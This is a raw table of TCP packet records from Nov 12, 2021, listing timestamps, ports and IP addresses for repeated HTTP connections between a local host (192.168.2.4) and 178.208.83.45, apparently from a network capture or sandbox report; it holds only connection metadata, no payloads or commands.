Nov 12, 2021 22:23:50.508069038 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.508110046 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.508112907 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.508121014 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.508181095 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.508234024 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.530560017 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530590057 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530600071 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530616045 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530631065 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530644894 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530659914 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530674934 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530690908 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530730963 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530760050 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530805111 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.530839920 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.530841112 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530916929 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.530932903 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.531003952 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.531292915 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.531310081 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.554158926 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.554189920 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.554263115 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.554277897 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.556360006 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.556535959 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.564843893 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.591695070 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.591919899 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.706792116 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.709474087 CET	49933	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.729207039 CET	80	49932	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.729274035 CET	49932	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.731971979 CET	80	49933	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.732964993 CET	49933	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.733889103 CET	49933	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.756454945 CET	80	49933	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.762523890 CET	80	49933	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.763009071 CET	49933	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.876341105 CET	49933	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.877587080 CET	49934	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.899014950 CET	80	49933	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.899130106 CET	49933	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.900063992 CET	80	49934	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.900387049 CET	49934	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.901207924 CET	49934	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:50.923749924 CET	80	49934	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.927054882 CET	80	49934	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:50.927125931 CET	49934	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.021528006 CET	49934	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.022715092 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.035060883 CET	49936	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.044429064 CET	80	49934	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.044922113 CET	49934	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.044991970 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.045115948 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.045892954 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.046029091 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.046344995 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.046519041 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.057473898 CET	80	49936	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.059645891 CET	49936	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.060720921 CET	49936	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.068151951 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068237066 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068754911 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068777084 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068792105 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068806887 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068820953 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068835974 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068866968 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068872929 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.068881989 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068900108 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068916082 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.068916082 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.068933010 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.068945885 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.068974972 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.083450079 CET	80	49936	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.086910009 CET	80	49936	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.087655067 CET	49936	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091269016 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091299057 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091315985 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091331959 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091346025 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091348886 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091366053 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091375113 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091388941 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091401100 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091412067 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091413975 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091430902 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091445923 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091461897 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091463089 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091478109 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091495037 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091510057 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091517925 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091526985 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091531038 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091545105 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091547966 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091561079 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091571093 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091578007 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.091593027 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.091633081 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.114003897 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114033937 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114043951 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114053965 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114067078 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114080906 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114095926 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114109993 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114121914 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114135981 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114150047 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114206076 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.114250898 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.114270926 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114285946 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114300966 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114315033 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114327908 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114341974 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114356995 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114372969 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114388943 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114403963 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114418030 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114433050 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114447117 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114460945 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114531040 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114546061 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114562035 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114578009 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114593983 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114641905 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114656925 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114672899 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.114689112 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.154150963 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.205259085 CET	49936	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.207045078 CET	49937	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.227893114 CET	80	49936	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.228071928 CET	49936	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.229613066 CET	80	49937	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.229777098 CET	49937	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.238609076 CET	49937	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.261246920 CET	80	49937	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.263679981 CET	80	49937	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.263788939 CET	49937	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.330199003 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.330405951 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.377135038 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.399518013 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.402901888 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.403049946 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.517246962 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.517549038 CET	49937	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.518727064 CET	49938	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.540774107 CET	80	49937	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.540821075 CET	80	49935	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.541023970 CET	80	49938	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.541069031 CET	49937	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.541088104 CET	49935	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.541171074 CET	49938	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.541973114 CET	49938	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.567709923 CET	80	49938	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.568938017 CET	80	49938	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.569164038 CET	49938	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.674137115 CET	49938	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.675460100 CET	49939	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.699381113 CET	80	49938	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.699412107 CET	80	49939	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.699466944 CET	49938	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.699559927 CET	49939	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.706532955 CET	49939	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.710199118 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.731970072 CET	80	49939	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.738725901 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.738939047 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.739728928 CET	80	49939	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.739830017 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.740015030 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.740021944 CET	49939	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.740359068 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.740675926 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.767657042 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.767678022 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768415928 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768429041 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768436909 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768448114 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768455982 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768467903 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768476009 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768486977 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768495083 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768506050 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.768513918 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.768609047 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.768641949 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.795782089 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.795810938 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.795826912 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.795838118 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.795850992 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.795983076 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.796039104 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.796595097 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796612978 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796621084 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796632051 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796639919 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796789885 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.796869040 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.796889067 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796902895 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796911955 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796924114 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796936035 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796947956 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796958923 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796967030 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.796971083 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.796977997 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.797039032 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.797064066 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.797097921 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.821481943 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821511030 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821521997 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821532965 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821544886 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821556091 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821568012 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821578979 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821589947 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821602106 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821614027 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821624994 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821631908 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821644068 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821656942 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821659088 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.821666956 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821680069 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821692944 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821705103 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821716070 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821729898 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821737051 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821737051 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.821741104 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821751118 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821760893 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821773052 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821784973 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821794987 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821806908 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821818113 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821829081 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821839094 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821851015 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821862936 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821875095 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821886063 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821897030 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.821908951 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844446898 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844474077 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844481945 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844490051 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844496965 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844505072 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844511986 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844518900 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844556093 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844574928 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844583035 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844589949 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844599009 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.844605923 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.847037077 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.847131968 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.849318027 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.874819994 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:51.874974966 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.986565113 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.986955881 CET	49939	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:51.988531113 CET	49941	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.009835005 CET	80	49940	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.009876013 CET	80	49939	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.010041952 CET	49940	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.010062933 CET	49939	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.011198997 CET	80	49941	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.011343002 CET	49941	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.012182951 CET	49941	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.035412073 CET	80	49941	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.040024042 CET	80	49941	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.040180922 CET	49941	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.142421007 CET	49941	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.144056082 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.165275097 CET	80	49941	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.165379047 CET	49941	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.168478012 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.168659925 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.169316053 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.193628073 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.201010942 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.201133013 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.261712074 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.261745930 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.262332916 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.262480974 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.285295963 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.285320044 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.285332918 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.285353899 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.285360098 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.285397053 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.285521030 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.307810068 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.307832003 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.307843924 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.307874918 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.307888031 CET	80	49942	178.208.83.45	192.168.2.4
